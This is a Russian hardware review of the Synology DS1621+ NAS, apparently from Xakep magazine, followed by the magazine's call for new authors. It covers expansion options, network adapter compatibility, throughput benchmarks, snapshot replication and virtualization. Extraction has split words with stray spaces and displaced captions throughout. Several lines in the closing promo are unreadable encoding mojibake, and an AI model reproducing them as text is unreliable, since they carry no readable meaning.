Пос ле часовой наг рузки (пос ледова тель ное чте ние дан ных с обо их «зер кал»)
зна чения  тем ператур  не  изме нились,  но  шум  вен тилято ров  пери оди чес ки
уси ливал ся:  устрой ство  пыталось  под держи вать  ука зан ный  тем ператур ный
режим, и ему это уда лось.

Бо лее  инте рес ным  ока зал ся  тест  с  дис ками  Seagate  Exos  X16,  напол‐ 
ненны ми  гели ем.  Такие  дис ки  замет но  тише  атмосфер ных,  а  их  энер гопот‐ 
ребле ние  —  мень ше.  На  скрин шоте  показа ны  тем перату ры  пос ле  часа
работы: пер вые два дис ка «отды хают», а дис ки в 5‐м и 6‐м разъ емах заняты
перес боркой  зер каль ного  RAID  1  (с  дис ка  5  выпол няет ся  чте ние,
на диск 6 идет запись).

Спус тя час мы изме нили тес товую наг рузку. Перес борка RAID про дол жилась,
а с двух диско вого зер кала в сло тах 1 и 2 велось неп рерыв ное чте ние дан ных.
Спус тя два часа наб людалась сле дующая кар тина.

Вре мя  от  вре мени  обо роты  вен тилято ра  уве личи вались  на  минуту‐две,
но вско ре сно ва замед лялись.

На конец,  пос ле  завер шения  тес тирова ния  устрой ство  про рабо тало
без наг рузки в течение часа; дис ки про дол жали вра щать ся.

Тем ператур ный режим

ВОЗМОЖНОСТИ РАСШИРЕНИЯ
У  поль зовате ля  DS1621+  есть  дос таточ но  неп лохие  воз можнос ти  рас‐ 
ширения, но есть нес коль ко неоче вид ных огра ниче ний. Итак:

  По  умол чанию DS1621+  пос тавля ется  с  4  Гбайт
опе ратив ной  памяти,  при чем  с  ECC.  К  счастью,  во  вто рой  разъ ем  мож но
добавить обыч ную план ку памяти без ECC, и сис тема про дол жает работать,
обра щаясь  ко  все му  объ ему  уста нов ленной  памяти.  Почему  «к  счастью»?
Память с ECC в фор мате SODIMM замет но дороже обыч ной.

Опе ратив ная память.

  Здесь  мы  стал кива емся  с  огра ниче нием:
NVME‐накопи тели мож но исполь зовать  толь ко для  кеширо вания  (по слу хам,
в  сле дующей  вер сии  DSM  7.0  это  огра ниче ние  сни мут  и  на  NVME  мож но
будет соз давать обыч ные тома). В недав ней статье я опи сывал осо бен ности
и огра ниче ния такого кеширо вания. Напом ню: кеш толь ко для чте ния не сох‐ 
раня ется  меж ду  перезаг рузка ми,  а  кеш  на  чте ние‐запись  тре бует  исполь‐ 
зования двух накопи телей в зер кале, при чем кеширо вать мож но один‐единс‐ 
твен ный  том.  Если  в шес тидис ковом накопи теле  у  тебя  слу чай но  обра зова‐ 
лось  нес коль ко  томов  —  при дет ся  выбирать,  какой  из  них  кеширо вать.
Но  разъ емы  есть,  накопи тели  в  них  уста новить  мож но,  а  сто ит  ли
это делать — решать тебе.

Два  накопи теля  NVME.

  Стан дар тный  разъ ем  PCIe  x8  зак‐ 
рытого типа озна чает, что кар ту PCIe 3.0 x16 ты уста новить не смо жешь, и это
сущес твен но сужа ет спи сок сов мести мос ти. В этом  . Незави‐ 
симо от физичес ких габари тов разъ ема 10‐гигабит ную сетевую кар ту Synolo‐
gy  ты  уста новить  смо жешь,  а  вот  адап тер  с  10‐гигабит ным  сетевым
интерфей сом и дву мя допол нитель ными сло тами NVME — уже нет; в спис ке
сов мести мос ти  он  отсутс тву ет.  Таким  обра зом,  реаль ная  полез ность  это го
разъ ема  огра ничи вает ся  воз можностью  уста нов ки  10‐гигабит ного  сетево го
интерфей са (а если бы в устрой ство интегри рова ли такой порт, то слот рас‐ 
ширения мог бы и вов се ока зать ся невос тре бован ным).

Пла та  рас ширения  PCIe  3.0  x8.

лег ко убе дить ся

НАКОНЕЦ — 10 ГБИТ!
Воз можность штат ным обра зом доуком плек товать устрой ство 10‐гигабит ным
лин ком  меня  искрен не  заин тересо вала.  Да,  в  бюд жетных  устрой ствах  кон‐ 
курен тов  дав но  встре чают ся  и  2,5‐,  и  10‐гигабит ные  пор ты,  но  Synology
который  год  уда ется  избе гать  подоб ных  сом нитель ных  новов ведений  —
пред ложив тем не менее воз можность поль зовате лям прод винутых устрой ств
самос тоятель но решить проб лему.

Итак,  рас паковы ваем  короб ку  из  перера ботан ного  кар тона,  дос таем
сетевой адап тер, уста нав лива ем в слот.

Се тевой  адап тер    пос тро ен  на  чипе  Aquantia  AQtion
AQC107. Сра зу  пре дуп режу:  уста новить  адап тер  на  том же  чип сете,  но  дру‐ 
гого про изво дите ля  (нап ример, ASUS) не  удас тся — в ОС про писан спи сок
раз решен ных  иден тифика торов.  Впро чем,  судя  по  спис ку  сов мести мос ти,
кар ты на чипах Intel X520 и Mellanox ConnectX‐3 дол жны под держи вать ся.

Synology  E10G18‐T1

Synology и список совместимости
Мы  все  при вык ли,  что  спи сок  сов мести мос ти  чего‐то  с  чем‐то  —  вещь,
как  пра вило,  бес полез ная:  про изво дитель  «рекомен дует»  ком понен ты
из очень корот кого спис ка. Одна ко есть исклю чение: слот PCIe в NAS от Syn‐
ology,  где  гаран тирован но  работа ют  прак тичес ки  толь ко  те  устрой ства,
которые  есть  в  спис ке.  Сог ласись,  было  бы  неп лохо  сэконо мить  на  10‐
гигабит ном сетевом адап тере!

Од нако  ни  сетевой  адап тер  ASUS,  ни  ана логич ный  адап тер  QNAP  «не
взле тели», нес мотря на то что в них исполь зует ся все тот же чип сет Aquantia
AQtion  AQC107,  что  и  в  адап тере  Synology  E10G18‐T1.  А  вот  чип сет  Intel
X520  под держи вает ся  в  нес коль ко  более  широких  пре делах:  адап тер 

 уста новил ся и зарабо тал без проб лем, хотя в спис ке сов мести мос‐ 
ти  при сутс тву ет  лишь  более  дорогая  вер сия  на  чип сете  X520‐DA2  с  дву мя
пор тами.

Intel
X520‐DA1

Итак,  адап тер  уста нов лен,  мож но  тес тировать  ско рость. Одна ко  перед  тем,
как  прис тупить  к  тес там,  рас ска жу  о  еще  двух  огра ниче ниях,  свя зан ных
с сетевы ми адап терами. Во‐пер вых, для началь ной нас трой ки DS1621+ тебе
все рав но при дет ся под клю чить ся к одно му из встро енных сетевых интерфей‐ 
сов (через адап тер PCIe это сде лать не удас тся). Во‐вто рых, для того, что бы
сох ранить  воз можность  Wake  on  LAN  (WoL),  помимо  10‐гигабит ного  лин ка
тебе при дет ся пос тоян но дер жать под клю чен ным и гигабит ный. Все это при‐ 
водит  к  необ ходимос ти  дер жать  под клю чен ным  лиш ний  сетевой  кабель
и  нас тра ивать  работу  внеш них  устрой ств  через  ско рос тной  10‐гигабит ный
линк,  а  не  через  мед ленный  гигабит ный.  Впро чем,  спра вед ливос ти  ради
отме чу,  что  во  мно гих  10‐гигабит ных  адап терах  фун кции  Wake  on  LAN  нет
как клас са, даже если речь идет о встро енных пор тах.

На личие 10‐гигабит ного сетево го интерфей са уби рает узкое мес то, ранее
огра ничи вающее ско рость переда чи дан ных единс твен ным гигаби том. Одна‐ 
ко  жес ткие  дис ки  работа ют  не  нас толь ко  быс тро.  Для  тес тирова ния  10‐
гигабит ной сети я исполь зовал пару SSD из серии Synology SAT5200, объ еди‐ 
нив дис ки  в  зер каль ный мас сив.  (Я  понимаю,  что RAID 0 работа ет быс трее,
но  объ еди нить  пару  твер дотель ных  накопи телей  в  RAID  0  у  меня  прос то
не под нялась рука.)

Ско рость чте ния круп ных фай лов с SSD без шиф рования в моих усло виях
дос тигла 490 МБ/с, записи — 469 МБ/с. Отме чу, что эти циф ры име ют исклю‐ 
читель но теоре тичес кую цен ность: кон фигура ция моей сети может отли чать‐ 
ся от нас тро ек тво ей, а про изво дитель ность реаль ной сис темы с механи чес‐ 
кими жес тки ми дис ками будет огра ниче на  ско ростью самих дис ков и  типом
мас сива,  в  который они будут  соб раны. При веду  еще нес коль ко  цифр,  поз‐ 
воля ющих приб лизитель но оце нить сред нюю про изво дитель ность устрой ства
в реаль ных усло виях — то есть с исполь зовани ем час тично запол ненных жес‐ 
тких дис ков.

Тестовые данные
Для тес тирова ния пиковой про изво дитель нос ти неп рерыв ного чте ния/записи
исполь зует ся  файл  раз мером  в  10  Гбайт.  Для  тес тирова ния  чте ния/записи
мно жес тва  неболь ших  фай лов —  2000  фай лов  раз мером  от  1  до  3  Мбайт
(ими тация  типич ного  фото аль бома…  приз наюсь,  это  был  дей стви тель но
фото аль бом).

Во  всех  слу чаях  исполь зуют ся  дис ки  Seagate  Exos  X16,  запол ненные
на чет верть (фор матиро вать дис ки ради удов летво рения любопытс тва я ока‐ 
зал ся  не  готов).  Фай ловая  сис тема  —  Btrfs,  соз дание  кон троль ных  сумм
записы ваемых дан ных вклю чено.

Скорость с использованием 10-гигабитного сетевого адаптера
Здесь  все  прос то:  адап тер  Intel  X520,  чес тное  10‐гигабит ное  соеди нение
DAC кабелем через порт SFP+.

Обыч ная пап ка:
пос ледова тель ная  запись  в  обыч ную  сетевую  пап ку  (без  шиф рования):
252 Мбайт/с;

•

за пись в обыч ную сетевую пап ку мно жес тва мел ких фай лов: 158 Мбайт/с.•

За шиф рован ная пап ка:
пос ледова тель ная запись в зашиф рован ную пап ку: 247 Мбайт/с;•
за пись  в  зашиф рован ную  сетевую  пап ку  мно жес тва  мел ких  фай лов:
138 Мбайт/с.

•

Ин терес ная осо бен ность воз ника ет при записи дан ных. Вот так выг лядит гра‐ 
фик копиро вания одно го фай ла раз мером 10 Гбайт в зашиф рован ную пап ку.

Пер вые 4 Гбайт копиру ются быс тро, со ско ростью 333 Мбайт/с, что, с одной
сто роны, пре выша ет воз можнос ти жес тко го дис ка, а с дру гой — мень ше воз‐ 
можнос тей  сетево го  интерфей са  (чте ние  записан ного  фай ла  из  кеша  про‐ 
исхо дит со ско ростью 1,2 Гбайт/с, и это не опе чат ка). Пос ле это го ско рость
пада ет до ука зан ных 247 Мбайт/с, которые мож но счи тать усто явшей ся ско‐ 
ростью  записи.  Все  циф ры  в  моих  тес тах,  соот ветс твен но,  взя ты  из  вто рой
полови ны  сес сии  и  демонс три руют  усто явшу юся  ско рость  записи,  а  не
пиковую.  В  час тнос ти,  это  может  при вес ти  к  раз ночте ниям  меж ду  выпол‐ 
ненны ми мной тес тами и циф рами, опуб ликован ными в дру гих обзо рах.

От мечу, что ско рость записи мно жес тва мел ких фай лов в зашиф рован ную
пап ку пос тра дала силь нее все го, веро ятно, из‐за того, что в качес тве метода
шиф рования в Synology выб ран механизм пофай лового шиф рования на уров‐ 
не  фай ловой  сис темы  eCryptFS.  Соот ветс твен но,  для  каж дого  фай ла  соз‐ 
дает ся  заголо вок,  в  который допол нитель но  сох раня ются метадан ные шиф‐ 
рования.  Если  бы  тес товые  фай лы  были  мель че,  ско рость  записи  пос тра‐ 
дала бы еще силь нее.

Те перь про верю ско рость чте ния фай лов:
пос ледова тель ное чте ние из обыч ной сетевой пап ки: 277 Мбайт/с;•
чте ние из обыч ной сетевой пап ки мно жес тва мел ких фай лов: 189 Мбайт/с.•

При пос ледова тель ном чте нии из обыч ной пап ки дос тигну та пол ная пиковая
про изво дитель ность дис ка на этом учас тке.

За шиф рован ная пап ка:
пос ледова тель ное чте ние из зашиф рован ной пап ки: 274 Мбайт/с;•
чте ние  из  зашиф рован ной  сетевой  пап ки  мно жес тва  мел ких  фай лов:
188 Мбайт/с.

•

Пос ле того как записан ные фай лы закеши рова ны в памяти, про читать дан ные
мож но еще быс трее. На скрин шоте ниже показан  теоре тичес кий мак симум,
которо го  дос тига ет  дан ное  устрой ство  при  чте нии  10‐гигабай тно го  фай ла
целиком из кеша.

А если еще быстрее?
Вмес те с сетевым накопи телем на тес тирова ние при еха ла пара SSD от Synol‐
ogy,  но  про водить  на  них  замеры  про изво дитель нос ти  было  скуч но  и  неин‐ 
терес но: тес тирова ние NAS прев ращалось, по сути, в тес тирова ние ско рос ти
SSD. Тем не менее мне инте рес но было пос мотреть на работу дис ковых мас‐ 
сивов  в  дру гих  кон фигура циях.  Скре пя  сер дце  я  уда лил  «зер каль ные»  тома
и соз дал из  четырех дис ков Seagate Exos X16 один мас сив RAID 10. Циф ры
меня порази ли:

за пись в обыч ную пап ку (пос ледова тель ная): 459 Мбайт/с;•
чте ние из обыч ной пап ки (пос ледова тель ное): 510 Мбайт/с.•

Срав нимо с недоро гим SSD, но с исполь зовани ем обыч ных жес тких дис ков,
да еще в кон фигура ции с отка зоус той чивостью.
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Скорость работы в режиме агрегации портов
А если возить ся с сетевым адап тером не хочет ся или сов мести мый адап тер
не  уда лось  най ти  по  сход ной  цене?  Устрой ство  обо рудо вано  четырь мя
гигабит ными  лин ками,  которые  мож но  агре гиро вать  по  любому  дос тупно му
алго рит му. Мне нра вит ся алго ритм Round Robin, который — единс твен ный! —
поз воля ет  получить  крат ное  уско рение  переда чи  дан ных  меж ду  NAS  и  кли‐ 
ентом, под клю чен ным к высокос корос тной сети. Раз работ чики DSM сде лали
этот алго ритм недос тупным через веб‐интерфейс устрой ства, но его мож но
лег ко  .  Если  в  тво ем  ком мутато ре  дос таточ но  сво бод ных
пор тов, то боль шой раз ницы в ско рос ти по срав нению с 10‐гигабит ным лин‐ 
ком при исполь зовании обыч ных жес тких дис ков ты не почувс тву ешь.

нас тро ить  вруч ную

Нас тро ив агре гацию двух пор тов по методу Round Robin, я пов торно про‐ 
вел тес тирова ние. Циф ры получи лись такие.

Обыч ная пап ка, агре гация двух гигабит ных лин ков, алго ритм Round Robin:
пос ледова тель ная  запись  в  обыч ную  сетевую  пап ку  (без  шиф рования):
167 Мбайт/с;

•

за пись в обыч ную сетевую пап ку мно жес тва мел ких фай лов: 126 Мбайт/с.•

За шиф рован ная  пап ка,  агре гация  двух  гигабит ных  лин ков,  алго ритм  Round
Robin:

пос ледова тель ная запись в зашиф рован ную пап ку: 165 Мбайт/с;•
за пись  в  зашиф рован ную  сетевую  пап ку  мно жес тва  мел ких  фай лов:
110 Мбайт/с.

•

Те перь про верю ско рость чте ния фай лов:
пос ледова тель ное чте ние из обыч ной сетевой пап ки: 189 Мбайт/с;•
чте ние из обыч ной сетевой пап ки мно жес тва мел ких фай лов: 166 Мбайт/с.•

За шиф рован ная пап ка:
пос ледова тель ное чте ние из зашиф рован ной пап ки: 186 Мбайт/с;•
чте ние  из  зашиф рован ной  сетевой  пап ки  мно жес тва  мел ких  фай лов:
147 Мбайт/с.

•

Как видим, агре гация двух гигабит ных лин ков не дает двук ратно го рос та про‐ 
изво дитель нос ти.  Дос тигну тый  мак симум  —  189  Мбайт/с  —  соот ветс тву ет
приб лизитель но полуто рак ратно му рос ту полосы про пус кания по срав нению
с единс твен ным гигабит ным лин ком, но в ряде сце нари ев (переда ча мно жес‐ 
тва мел ких фай лов) ско рость стра дает еще силь нее. Так что или уве личи ваем
количес тво  агре гиро ван ных  лин ков,  или  уста нав лива ем  ско рос тной  сетевой
адап тер.

РЕПЛИКАЦИЯ СНИМКОВ (SNAPSHOT REPLICATION)
Для чего вооб ще может понадо бить ся шес тидис ковый сетевой накопи тель?
Есть ли разум ные сце нарии его исполь зования дома или в неболь шом офи‐ 
се?  Такие  сце нарии  есть,  и  они  отли чают ся  от  сце нари ев  исполь зования,
к  при меру,  двух диско вых  моделей  —у  стар шей  модели  доволь но  высокий
уро вень шума.

Од на из инте рес ней ших воз можнос тей Synology, которая не име ет пря мых
ана логов у кон курен тов, — реп ликация сним ков (Snapshot Replication в англо‐ 
языч ной тер миноло гии). Сущес тву ет нес коль ко спо собов исполь зования реп‐ 
ликации; для меня пред став ляет инте рес реп ликация сним ков сетевых папок.
Исполь зование  этой  фун кции  поз воля ет  син хро низи ровать  сним ки  (снап‐ 
шоты)  как  одной,  так  и  нес коль ких  сетевых  папок  сра зу;  цель  —  быс трое
резер вное  копиро вание  с мгно вен ным  вос ста нов лени ем,  с  исто рией  изме‐ 
нений и защитой от вирусов‐шиф роваль щиков и про чих вымога телей.

При  воз никно вении  проб лем на основном  устрой стве  соз данный на  дру гом
сетевом  хра нили ще  Synology  сни мок  сетевой  пап ки  мож но  мгно вен но  сде‐ 
лать  основным,  перек лючив шись  в штат ном  режиме  (Switchover)  или  в  ава‐ 
рий ном (Failover). Более того, механизм реп ликации — единс твен ный из дос‐ 
тупных домаш нему поль зовате лю без допол нитель ных лицен зион ных вып лат,
который  поз воля ет  не  толь ко  вос ста новить  реп лициро ван ные  дан ные,  но  и
про тес тировать  работос пособ ность  про цес са  вос ста нов ления  (режим  Test
Failover).

Еще одна важ ная осо бен ность механиз ма — работа с «сырыми» фай лами,
что поз воля ет копиро вать зашиф рован ные пап ки без необ ходимос ти их мон‐ 
тирова ния  и  рас шифров ки.  Это  чрез вычай но  удоб но,  если  устрой ство
исполь зует ся  как  цель  для  резер вно го  копиро вания  с  нес коль ких  дру гих,
поль зовате ли  которых шиф руют  дан ные  каж дый  сво им  клю чом.  Разуме ется,
и отсутс твие наг рузки на рас шифров ку и шиф рование дан ных тоже плюс.

В чем отли чие механиз ма реп ликации сним ков от дру гих спо собов резер‐ 
вно го копиро вания?

От личия  от  HyperBackup  и  дру гих  проп риетар ных  механиз мов:  сох раня‐ 
ется точ ная копия ори гиналь ных дан ных с ори гиналь ной же струк турой папок.
Вос ста нов ление — мгно вен но: дос таточ но перек лючить ся на реп лициро ван‐ 
ную копию, и дан ными мож но поль зовать ся.

От личия  от  rsync:  для  копиро вания  зашиф рован ных  папок  не  нужен  ключ
шиф рования. Сох раня ется сни мок сос тояния фай ловой сис темы, мож но нас‐ 
тро ить  чис ло  сним ков,  которые  будут  хра нить ся  как  на  исходном,  так  и  на
целевом  устрой стве.  Одна ко  более  важ ной  я  счи таю  дру гую  осо бен ность.
Если  в  сетевой  пап ке,  которую  ты  хочешь  реп лициро вать  или  син хро низи‐ 
ровать,  есть  под катало ги,  и  ты  пере име нуешь  один  из  них,  rsync  уда лит
содер жимое пап ки с пре дыду щим име нем и ско пиру ет содер жимое «новой»
пап ки. В слу чае же реп ликации мас сирован ное копиро вание дан ных не дела‐ 
ется — обно вят ся лишь дан ные кон крет ных узлов фай ловой сис темы Btrfs.

От личия  от  проп риетар ного  для  Synology  механиз ма  син хро низа ции
сетевых папок: опять же — сним ки; лег кость перек лючения меж ду исходным
и  целевым  устрой ства ми;  воз можность  про тес тировать  про цесс  вос ста нов‐ 
ления;  наконец,  воз можность  вос ста новить  дан ные,  пос ле  чего  про дол жить
соз давать резер вные копии не с нуля, как в слу чае с син хро низа цией сетевых
папок, а в виде инкре мен тных сним ков.

DS1621+ — прек расный при мер целево го устрой ства для хра нения сним‐ 
ков. Собс твен но, имен но в таком качес тве я исполь зовал накопи тель во вре‐ 
мя тес тирова ния: шесть отсе ков поз воля ют дос таточ но гиб ко нас тро ить тома
и  нес коль ко  RAID  любых  уров ней.  Устрой ство  затем  при нима ет  дан ные
из любых источни ков — как от двух диско вого DS720+ (син хро низа ция сним‐ 
ков), так и от NAS дру гих про изво дите лей (через rsync).

ВИРТУАЛИЗАЦИЯ
Еще один из спо собов исполь зовать сетевое хра нили ще — запус тить на нем
одну  или  нес коль ко  вир туаль ных  машин.  И  если  с  «лег ковес ной»  вир туали‐ 
заци ей  кон тей неров  Docker  («джентль мен ский  набор»  англо языч ного  поль‐ 
зовате ля  —  sabnzbd/sonarr/radarr)  впол не  хва тает  воз можнос тей  про цес‐ 
соров Celeron, то пол ноцен ный гипер визор на млад ших моделях хоть и запус‐ 
тится, но работать будет мед ленно и печаль но.

Мне  ста ло  инте рес но  про верить,  как  будет  работать  на  DS1621+… Win‐
dows 10. Я не поленил ся и про шел всю про цеду ру уста нов ки.

Для начала под готовим обра зы дис ков. Нам понадо бит ся  ,
, а заод но и драй веры вир туаль ных устрой ств

с   (выб рать Direct Download и ска чать ISO Stable virtio‐win).

ISO Windows 10
об раз Synology VMM Guest Tool
сай та Fedora
Из  репози тория  при ложе ний  нам  пот ребу ется  уста новить  Virtual Machine

Manager.

Ус танав лива ем, запус каем, нас тра иваем.

На чина ем соз дание вир туаль ной машины Windows.

Нас тра иваем парамет ры, опре делив дос тупную вир туаль ной машине память
и чис ло ядер про цес сора.

Те перь окно гипер визора выг лядит так.

За пус каем…

От кры вает ся  новое  бра узер ное  окно,  в  котором  выпол няем  все  шаги
для уста нов ки Windows 10.

И вот сис тема уста нов лена — мож но поль зовать ся.

У меня весь про цесс занял око ло получа са; сюда вхо дит вре мя, которое пот‐ 
ребова лось на нас трой ку гипер визора и для того, что бы разоб рать ся, какие
имен но и отку да нуж ны ISO.

Как все это работа ет? Дос таточ но плав но. Заг ружа ется вир туаль ная Win‐
dows 10 за 17–20 с, поль зовать ся впол не мож но. Нуж но, одна ко,  учи тывать,
что про изво дитель ность вир туаль ного гра фичес кого адап тера весь ма низ кая;
на  отри сов ку  эле мен тов  интерфей са  ее  хва тает,  на  что‐то  более  тре бова‐ 
тель ное — точ но нет.

Я понимаю, что вряд ли кто‐то будет уста нав ливать в вир туаль ную машину
имен но Windows. Смысл  экспе римен та  в  том,  что  если  уж Windows 10  уста‐ 
новить  уда лось  (и  эта  не  самая  лег кая  ОС  доволь но  плав но  работа ет),  то
с Linux проб лем не воз никнет тем более.

Репликация виртуальных машин
Не  хотелось  бы  пус кать ся  сов сем  уж  в  деб ри,  но  хочу  рас ска зать  и  еще
об  одной  воз можнос ти,  которую  пре дос тавля ет  ОС  DSM  для  вир туаль ных
машин.  Это  реп ликация  вир туаль ных  машин  как  на  дру гой  том  текуще го
устрой ства,  так  и  на  дру гой  сетевой  накопи тель.  Реп ликация — вещь очень
удоб ная: с ее помощью мож но орга низо вать дей стви тель но бес перебой ную
работу.  Любая  проб лема  с  дис ком,  сетевым  накопи телем  или фай лом  вир‐ 
туаль ной машины — и мож но либо вос ста новить ее из сним ка, либо и вов се
перек лючить ся  на  резер вный NAS  и  про дол жать  поль зовать ся  как  ни  в  чем
не бывало.

Ло каль ный сни мок (снап шот) вир туаль ной машины соз дался без проб лем.

Од нако  даль ше  сюр приз:  попыт ка  нас тро ить  реп ликацию  окон чилась  сооб‐ 
щени ем о необ ходимос ти нас тро ить «план». В под дер жке мне пояс нили: сам
гипер визор  бес плат ный,  но  ряд  допол нитель ных  воз можнос тей  (осо бен но
свя зан ных с безопас ностью и отка зоус той чивостью) лицен зиру ется за день‐ 
ги.  Для  тес тирова ния  реп ликации  я  получил  вре мен ную  лицен зию.  Даль ше
все  прос то:  сним ки  реп лициру ются  так,  туда  и  тог да,  как  захочет  поль‐ 
зователь (хотя, ско рее, адми нис тра тор).

ЗАКЛЮЧЕНИЕ
В  зак лючении  —  мои  лич ные  впе чат ления  от  устрой ства.  DS1621+  пон‐ 
равилось  качес твом  сбор ки  и  воз можностью  рас ширения:  10‐гигабит ная
сеть — это то, что я дав но хотел получить от сетево го хра нили ща. Ско рость
работы порадо вала даже при исполь зовании  нес коль ких  «зер кал»,  а  перек‐ 
лючение  в  режим RAID  10  даже  из  четырех  дис ков  удво ило  про изво дитель‐ 
ность: по ско рос ти неп рерыв ного чте ния‐записи устрой ство прак тичес ки дог‐ 
нало  тра дици онные  SSD  с  интерфей сом  SATA.  Если  у  тебя  уже  есть  муль‐ 
тигига бит ная сеть или ты пла ниру ешь ее исполь зовать, DS1621+ — отличный
вари ант.

Про изво дитель нос ти  про цес сора AMD Ryzen — впер вые  в  отно ситель но
дос тупных моделях Synology! — наконец‐то хва тает для быс трой работы даже
тяжелых  вир туаль ных  машин.  «Лег кая»  вир туали зация  Docker  тем  более
не ста нет  проб лемой, осо бен но если рас ширить память до разум ного объ‐ 
ема.

Не дос татки, конеч но же, тоже есть. Разуме ется, здесь нель зя обой ти воп‐ 
рос  цены  устрой ства,  которая  боль ше  подой дет  для  офи са  (в  том  чис ле
и  домаш него),  чем  для  энту зиас та.  Вто рой  —  все  еще  не  завез ли  встро‐ 
енных  10‐гигабит ных  пор тов,  что  зас тавля ет  рас кошелить ся  на  не  самую
дешевую (не забыва ем о спис ке сов мести мос ти) сетевую кар ту или рас смот‐ 
реть еще более стар шую модель  , в которой такой порт есть. Все‐ 
го 4 Гбайт пре дус танов ленной опе ратив ной памяти в устрой стве такого клас‐ 
са  —  тоже  стран ное  решение:  уве рен,  зна читель ная  часть  покупа телей
модуль  на  4  Гбайт  прос то  выб росит,  заменив  его  сущес твен но  более  объ‐ 
емным.

DS1621xs+

На конец,  устрой ство  получи лось  дос таточ но  шум ным  как  из‐за  работы
собс твен но дис ков, так и из‐за шум ной сис темы охлажде ния, реали зован ной
дву мя  обо ротис тыми  вен тилято рами  диамет ром  92  мм.  Жаль,  что  в  этом
устрой стве  раз работ чики  не  исполь зовали  решение  из  моделей  на  восемь
отсе ков Synology, в которых уста нав лива ется пара замет но более тихих 120‐
мил лимет ровых вен тилято ров.

Ка ким мне видит ся иде аль ный NAS от Synology? Кор пус от DS1819+ с дву‐ 
мя круп ными, тихими вен тилято рами; начин ка от героя обзо ра, плюс сетевой
порт  на  10  Гбит  из  DS1621xs+,  и  все  это —  по  цене DS1621+.  Пожалуй ста,
завер ните!

https://xakep.ru/2020/09/02/synology/
https://www.microsoft.com/en-us/software-download/windows10
https://www.synology.com/en-us/support/download
https://fedoraproject.org/wiki/Windows_Virtio_Drivers
https://www.synology.com/ru-ru/products/compare/DS1621+/DS1621xs+


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

